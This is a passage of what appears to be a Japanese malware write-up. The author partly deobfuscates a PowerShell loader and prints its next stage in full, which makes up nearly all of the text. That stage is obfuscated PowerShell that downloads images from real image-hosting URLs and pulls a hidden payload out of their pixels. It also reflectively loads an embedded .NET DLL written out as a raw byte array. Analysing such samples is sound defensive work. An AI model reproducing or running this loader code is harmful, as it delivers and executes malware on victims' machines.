0gGiAmku4VvcvtF1/nEyfsxv7GWMJ7LSLXpPeeqwpjvK/nxDvuWBCRXQ0rqZYd4xy2ZTdB4YQifje0mRDa6CXBvjxoohZo6IXdHfOfkw8TpnnvXWNHbihLWPbMGpWY3EC01SdT+qALorTdwf0ggF3GQWME65PRcaxN56e5VIV7e+H5U/OZTtw6wxmI9QUsCsOqHHyMvXYHOgsGxWrkWH8r8w/Fd+IrNoLfzzCnbpjBGeSF9Mp2e7SLAiq07sYWy4Sjro6yPZ5mENz3J6SQGhHFgQrsvznIm3nnUqv0XBwRsvl0fBBjptc0MuC0+uUdq4DR7pXS4nzKtC1fxa/EfJcfvd3JPCO6zVxGCkhbP0UlSeQlOHtm2ZaVxEVLfIxqU5749ImahOJLRWbrVoP2T1e8ZJiF77FKP2PrpfJCv9As/z+9kglmyAY59tFxCV2QUozYN+yhCLkhH8+pD7CkKyOPSDCTJtalJTUe/RPvvssYLbgGu2eQUipkyeuBdmYCg82IzGI1hmjur9MTXJC49aCGwrtWHgX/SBGLr6AQEiKrh4kZ2/QRZjdsmc5a8KwTNpJMUJ4qFV5MoKvfTkvPAsL/gEOyO2D/ZCmytKI8IDwuL4QrGNf/r7t/dFyUSvwYd65Qi8imO3ndTspq8WOpu3Tg6O8ckw954YCUoYulb1qUQjP8fkIXC2e+8UY4viCDzjZhAhGjQjjUpYwmGwhEmh52jtvDEyp8m1OyZvsq/QGr3hTTECXaIg/6RbHmDrwbMowJVwUswvpyeeZJeMEq3ap7OVKs/jBeHwGMZ1LXECBltgRxMASzBeEBFePRMV1Wv8IFhlSOMdthvU8qGLt8ewW6dKBqEici6YkVrbPkPHlc93Fyb4y/Ref/6eDW9jOHqmr2c2K7vcR01Uto+OLPrzH/0aXJwSoSpDOhqRa/pyuEXZVu582MvAcqXvmzzJF/Bwh1dGPNrFVLkDEeKWrGgujv09xz49bou/6oeCUBo+j0E5KodZOE5ientJ77oVSm5sbh6zpMwKvyeVAqv9MZwiew7SCtU7axEFpAf6UutEj3WEKsL4s+UBZL6QoqVl5W9XHA==';$FgTT="" + 102*4 + (get-culture).LCID*2;$rTT=Ottass -Igaa $MmTT -Pcxc $FgTT;$OkTT=Bavv($rTT);iex($OkTT)
※20万文字くらいあるので、見るだけ無駄・・・・
ですが、エンコードされた文字の後に、get-culture
したり、既に用意されている関数を読んでいるっぽいので、Invoke-Expressionで呼ぶ前まで実行しちゃいますw
その結果が以下
$aCmAS={ $ErrorActionPreference ="ignore" .("{1}{0}" -f'al','s') ('a') ("{1}{2}{3}{0}"-f 'ct','N','ew-Ob','je');.("{0}{1}{2}" -f 'A','dd-','Type') -AssemblyName ("{3}{2}{0}{1}"-f 'win','g','tem.Dra','Sys');[string[]]${NU}=(("{3}{9}{1}{7}{6}{4}{8}{5}{2}{0}"-f'ng','mgbox','o.p','http','/q','b0Rja_','5','.com/2e/6','GC','s://images2.i'),("{5}{0}{1}{3}{4}{2}{7}{6}" -f'tp','s:/','Tf','/i.imgur','.com/9','ht','ng','1m5c.p'),("{0}{9}{6}{3}{1}{8}{2}{5}{7}{4}"-f'htt','cP5D','ctor.','stimg.cc/dwc1','1','p','i.po','ng?dl=','/do','ps://'));foreach(${u`RL} in ${n`U}){if ((&('a') ("{3}{2}{1}{0}" -f't','n','.WebClie','Net'))."dow`N`lOAdSTR`ing"(${u`Rl})."LE`NGTh" -gt 999){${g}=.('a') ("{2}{0}{4}{5}{3}{1}" -f'em.Dr','map','Syst','g.Bit','aw','in')((&('a') ("{2}{1}{0}" -f'ebClient','.W','Net'))."OpEn`Re`Ad"(${U`Rl}));${o}=.('a') ("{1}{0}" -f 'te[]','By') 46200;(0..153)|&('%'){foreach(${X} in(0..299)){${p}=${G}."geT`pix`EL"(${x},${_});${O}[${_}*300+${x}]=([math]::"f`LOOR"((${P}."B"-band15)*16)-bor(${p}."g" -band 15))}};${MA`Gg}=[System.Text.Encoding]::"a`sCIi"."g`e`TstR`INg"(${O}[0..45935]);break}} [Reflection.Assembly]::Load([byte[]]@(77 ,90 ,144 ,0 ,3 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,255 ,255 ,0 ,0 ,184 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,128 ,0 ,0 ,0 ,14 ,31 ,186 ,14 ,0 ,180 ,9 ,205 ,33 ,184 ,1 ,76 ,205 ,33 ,84 ,104 ,105 ,115 ,32 ,112 ,114 ,111 ,103 ,114 ,97 ,109 ,32 ,99 ,97 ,110 ,110 ,111 ,116 ,32 ,98 ,101 ,32 ,114 ,117 ,110 ,32 ,105 ,110 ,32 ,68 ,79 ,83 ,32 ,109 ,111 ,100 ,101 ,46 ,13 ,13 ,10 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,80 ,69 ,0 ,0 ,76 ,1 ,3 ,0 ,230 ,205 ,255 ,91 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,224 ,0 ,2 ,33 ,11 ,1 ,11 ,0 ,0 ,6 ,0 ,0 ,0 ,6 ,0 ,0 ,0 ,0 ,0 ,0 ,14 ,37 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,0 ,0 ,16 ,0 ,32 ,0 ,0 ,0 ,2 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,128 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,3 ,0 ,64 ,133 ,0 ,0 ,16 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,16 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,192 ,36 ,0 ,0 ,75 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,152 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,96 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,8 ,32 ,0 ,0 ,72 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,46 ,116 ,101 ,120 ,116 ,0 ,0 ,0 ,20 ,5 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,6 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,96 ,46 ,114 ,115 ,114 ,99 ,0 ,0 ,0 ,152 ,2 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,64 ,46 ,114 ,101 ,108 ,111 ,99 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,96 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,66 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,240 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,72 ,0 ,0 ,0 ,2 ,0 ,5 ,0 ,248 ,32 ,0 ,0 ,200 ,3 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,70 ,40 ,3 ,0 ,0 ,10 ,2 ,40 ,2 ,0 ,0 ,6 ,111 ,4 ,0 ,0 ,10 ,42 ,0 ,0 ,27 ,48 ,2 ,0 ,85 ,0 ,0 ,0 ,1 ,0 ,0 ,17 ,2 ,40 ,5 ,0 ,0 ,10 ,10 ,6 ,115 ,6 ,0 ,0 ,10 ,12 ,8 ,22 ,115 ,7 ,0 ,0 ,10 ,13 ,115 ,8 ,0 ,0 ,10 ,19 ,4 ,9 ,17 ,4 ,111 ,9 ,0 ,0 ,10 ,17 ,4 ,111 ,10 ,0 ,0 ,10 ,11 ,222 ,12 ,17 ,4 ,44 ,7 ,17 ,4 ,111 ,11 ,0 ,0 ,10 ,220 ,222 ,10 ,9 ,44 ,6 ,9 ,111 ,11 ,0 ,0 ,10 ,220 ,222 ,10 ,8 ,44 ,6 ,8 ,111 ,11 ,0 ,0 ,10 ,220 ,7 ,42 ,0 ,0 ,0 ,1 ,40 ,0 ,0 ,2 ,0 ,29 ,0 ,18 ,47 ,0 ,12 ,0 ,0 ,0 ,0 ,2 ,0 ,22 ,0 ,39 ,61 ,0 ,10 ,0 ,0 ,0 ,0 ,2 ,0 ,14 ,0 ,59 ,73 ,0 ,10 ,0 ,0 ,0 ,0 ,30 ,2 ,40 ,12 ,0 ,0 ,10 ,42 ,66 ,83 ,74 ,66 ,1 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,118 ,52 ,46 ,48 ,46 ,51 ,48 ,51 ,49 ,57 ,0 ,0 ,0 ,0 ,5 ,0 ,108 ,0 ,0 ,0 ,112 ,1 ,0 ,0 ,35 ,126 ,0 ,0 ,220 ,1 ,0 ,0 ,92 ,1 ,0 ,0 ,35 ,83 ,116 ,114 ,105 ,110 ,103 ,115 ,0 ,0 ,0 ,0 ,56 ,3 ,0 ,0 ,8 ,0 ,0 ,0 ,35 ,85 ,83 ,0 ,64 ,3 ,0 ,0 ,16 ,0 ,0 ,0 ,35 ,71 ,85 ,73 ,68 ,0 ,0 ,0 ,80 ,3 ,0 ,0 ,120 ,0 ,0 ,0 ,35 ,66 ,108 ,111 ,98 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,2 ,0 ,0 ,1 ,71 ,21 ,2 ,0 ,9 ,0 ,0 ,0 ,0 ,250 ,37 ,51 ,0 ,22 ,0 ,0 ,1 ,0 ,0 ,0 ,10 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,3 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,10 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,6 ,0 ,38 ,0 ,31 ,0 ,6 ,0 ,101 ,0 ,69 ,0 ,6 ,0 ,133 ,0 ,69 ,0 ,6 ,0 ,180 ,0 ,168 ,0 ,6 ,0 ,208 ,0 ,31 ,0 ,6 ,0 ,243 ,0 ,233 ,0 ,10 ,0 ,22 ,1 ,0 ,1 ,6 ,0 ,33 ,1 ,233 ,0 ,10 ,0 ,40 ,1 ,0 ,1 ,6 ,0 ,71 ,1 ,31 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 ,0 ,1 ,0 ,16 ,0 ,19 ,0 ,0 ,0 ,5 ,0 ,1 ,0 ,1 ,0 ,80 ,32 ,0 ,0 ,0 ,0 ,150 ,0 ,45 ,0 ,10 ,0 ,1 ,0 ,100 ,32 ,0 ,0 ,0 ,0 ,150 ,0 ,48 ,0 ,15 ,0 ,2 ,0 ,240 ,32 ,0 ,0 ,0 ,0 ,134 ,24 ,51 ,0 ,21 ,0 ,3 ,0 ,0 ,0 ,1 ,0 ,57 ,0 ,0 ,0 ,1 ,0 ,57 ,0 ,17 ,0 ,51 ,0 ,25 ,0 ,25 ,0 ,51 ,0 ,21 ,0 ,33 ,0 ,189 ,0 ,30 ,0 ,33 ,0 ,198 ,0 ,35 ,0 ,41 ,0 ,216 ,0 ,15 ,0 ,49 ,0 ,51 ,0 ,41 ,0 ,57 ,0 ,51 ,0 ,47 ,0 ,49 ,0 ,51 ,0 ,21 ,0 ,65 ,0 ,56 ,1 ,55 ,0 ,49 ,0 ,63 ,1 ,61 ,0 ,81 ,0 ,83 ,1 ,21 ,0 ,9 ,0 ,51 ,0 ,21 ,0 ,46 ,0 ,11 ,0 ,79 ,0 ,46 ,0 ,19 ,0 ,88 ,0 ,66 ,0 ,4 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,163 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,22 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,31 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,60 ,77 ,111 ,100 ,117 ,108 ,101 ,62 ,0 ,100 ,101 ,99 ,111 ,46 ,100 ,108 ,108 ,0 ,101 ,101 ,0 ,109 ,115 ,99 ,111 ,114 ,108 ,105 ,98 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,0 ,79 ,98 ,106 ,101 ,99 ,116 ,0 ,68 ,101 ,0 ,68 ,98 ,0 ,46 ,99 ,116 ,111 ,114 ,0 ,105 ,110 ,112 ,117 ,116 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,46 ,67 ,111 ,109 ,112 ,105 ,108 ,101 ,114 ,83 ,101 ,114 ,118 ,105 ,99 ,101 ,115 ,0 ,67 ,111 ,109 ,112 ,105 ,108 ,97 ,116 ,105 ,111 ,110 ,82 ,101 ,108 ,97 ,120 ,97 ,116 ,105 ,111 ,110 ,115 ,65 ,116 ,116 ,114 ,105 ,98 ,117 ,116 ,101 ,0 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,67 ,111 ,109 ,112 ,97 ,116 ,105 ,98 ,105 ,108 ,105 ,116 ,121 ,65 ,116 ,116 ,114 ,105 ,98 ,117 ,116 ,101 ,0 ,100 ,101 ,99 ,111 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,84 ,101 ,120 ,116 ,0 ,69 ,110 ,99 ,111 ,100 ,105 ,110 ,103 ,0 ,103 ,101 ,116 ,95 ,85 ,84 ,70 ,56 ,0 ,71 ,101 ,116 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,67 ,111 ,110 ,118 ,101 ,114 ,116 ,0 ,70 ,114 ,111 ,109 ,66 ,97 ,115 ,101 ,54 ,52 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,73 ,79 ,0 ,77 ,101 ,109 ,111 ,114 ,121 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,73 ,79 ,46 ,67 ,111 ,109 ,112 ,114 ,101 ,115 ,115 ,105 ,111 ,110 ,0 ,71 ,90 ,105 ,112 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,67 ,111 ,109 ,112 ,114 ,101 ,115 ,115 ,105 ,111 ,110 ,77 ,111 ,100 ,101 ,0 ,67 ,111 ,112 ,121 ,84 ,111 ,0 ,84 ,111 ,65 ,114 ,114 ,97 ,121 ,0 ,73 ,68 ,105 ,115 ,112 ,111 ,115 ,97 ,98 ,108 ,101 ,0 ,68 ,105 ,115 ,112 ,111 ,115 ,101 ,0 ,0 ,0 ,3 ,32 ,0 ,0 ,0 ,0 ,0 ,25 ,76 ,165 ,141 ,205 ,229 ,132 ,70 ,165 ,16 ,128 ,35 ,229 ,117 ,248 ,78 ,0 ,8 ,183 ,122 ,92 ,86 ,25 ,52 ,224 ,137 ,4 ,0 ,1 ,14 ,14 ,5 ,0 ,1 ,29 ,5 ,14 ,3 ,32 ,0 ,1 ,4 ,32 ,1 ,1 ,8 ,4 ,0 ,0 ,18 ,17 ,5 ,32 ,1 ,14 ,29 ,5 ,5 ,32 ,1 ,1 ,29 ,5 ,7 ,32 ,2 ,1 ,18 ,33 ,17 ,37 ,5 ,32 ,1 ,1 ,18 ,33 ,4 ,32 ,0 ,29 ,5 ,12 ,7 ,5 ,29 ,5 ,29 ,5 ,18 ,25 ,18 ,29 ,18 ,25 ,8 ,1 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,30 ,1 ,0 ,1 ,0 ,84 ,2 ,22 ,87 ,114 ,97 ,112 ,78 ,111 ,110 ,69 ,120 ,99 ,101 ,112 ,116 ,105 ,111 ,110 ,84 ,104 ,114 ,111 ,119 ,115 ,1 ,0 ,232 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,254 ,36 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,240 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,95 ,67 ,111 ,114 ,68 ,108 ,108 ,77 ,97 ,105 ,110 ,0 ,109 ,115 ,99 ,111 ,114 ,101 ,101 ,46 ,100 ,108 ,108 ,0 ,0 ,0 ,0 ,0 ,255 ,37 ,0 ,32 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,16 ,0 ,0 ,0 ,24 ,0 ,0 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 ,0 ,0 ,0 ,48 ,0 ,0 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,72 ,0 ,0 ,0 ,88 ,64 ,0 ,0 ,60 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,60 ,2 ,52 ,0 ,0 ,0 ,86 ,0 ,83 ,0 ,95 ,0 ,86 ,0 ,69 ,0 ,82 ,0 ,83 ,0 ,73 ,0 ,79 ,0 ,78 ,0 ,95 ,0 ,73 ,0 ,78 ,0 ,70 ,0 ,79 ,0 ,0 ,0 ,0 ,0 ,189 ,4 ,239 ,254 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,63 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,68 ,0 ,0 ,0 ,1 ,0 ,86 ,0 ,97 ,0 ,114 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,73 ,0 ,110 ,0 ,102 ,0 ,111 ,0 ,0 ,0 ,0 ,0 ,36 ,0 ,4 ,0 ,0 ,0 ,84 ,0 ,114 ,0 ,97 ,0 ,110 ,0 ,115 ,0 ,108 ,0 ,97 ,0 ,116 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,176 ,4 ,156 ,1 ,0 ,0 ,1 ,0 ,83 ,0 ,116 ,0 ,114 ,0 ,105 ,0 ,110 ,0 ,103 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,73 ,0 ,110 ,0 ,102 ,0 ,111 ,0 ,0 ,0 ,120 ,1 ,0 ,0 ,1 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,52 ,0 ,98 ,0 ,48 ,0 ,0 ,0 ,44 ,0 ,2 ,0 ,1 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,68 ,0 ,101 ,0 ,115 ,0 ,99 ,0 ,114 ,0 ,105 ,0 ,112 ,0 ,116 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,48 ,0 ,8 ,0 ,1 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,52 ,0 ,9 ,0 ,1 ,0 ,73 ,0 ,110 ,0 ,116 ,0 ,101 ,0 ,114 ,0 ,110 ,0 ,97 ,0 ,108 ,0 ,78 ,0 ,97 ,0 ,109 ,0 ,101 ,0 ,0 ,0 ,100 ,0 ,101 ,0 ,99 ,0 ,111 ,0 ,46 ,0 ,100 ,0 ,108 ,0 ,108 ,0 ,0 ,0 ,0 ,0 ,40 ,0 ,2 ,0 ,1 ,0 ,76 ,0 ,101 ,0 ,103 ,0 ,97 ,0 ,108 ,0 ,67 ,0 ,111 ,0 ,112 ,0 ,121 ,0 ,114 ,0 ,105 ,0 ,103 ,0 ,104 ,0 ,116 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,60 ,0 ,9 ,0 ,1 ,0 ,79 ,0 ,114 ,0 ,105 ,0 ,103 ,0 ,105 ,0 ,110 ,0 ,97 ,0 ,108 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,110 ,0 ,97 ,0 ,109 ,0 ,101 ,0 ,0 ,0 ,100 ,0 ,101 ,0 ,99 ,0 ,111 ,0 ,46 ,0 ,100 ,0 ,108 ,0 ,108 ,0 ,0 ,0 ,0 ,0 ,52 ,0 ,8 ,0 ,1 ,0 ,80 ,0 ,114 ,0 ,111 ,0 ,100 ,0 ,117 ,0 ,99 ,0 ,116 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,56 ,0 ,8 ,0 ,1 ,0 ,65 ,0 ,115 ,0 ,115 ,0 ,101 ,0 ,109 ,0 ,98 ,0 ,108 ,0 ,121 ,0 ,32 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,12 ,0 ,0 ,0 ,16 ,53 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 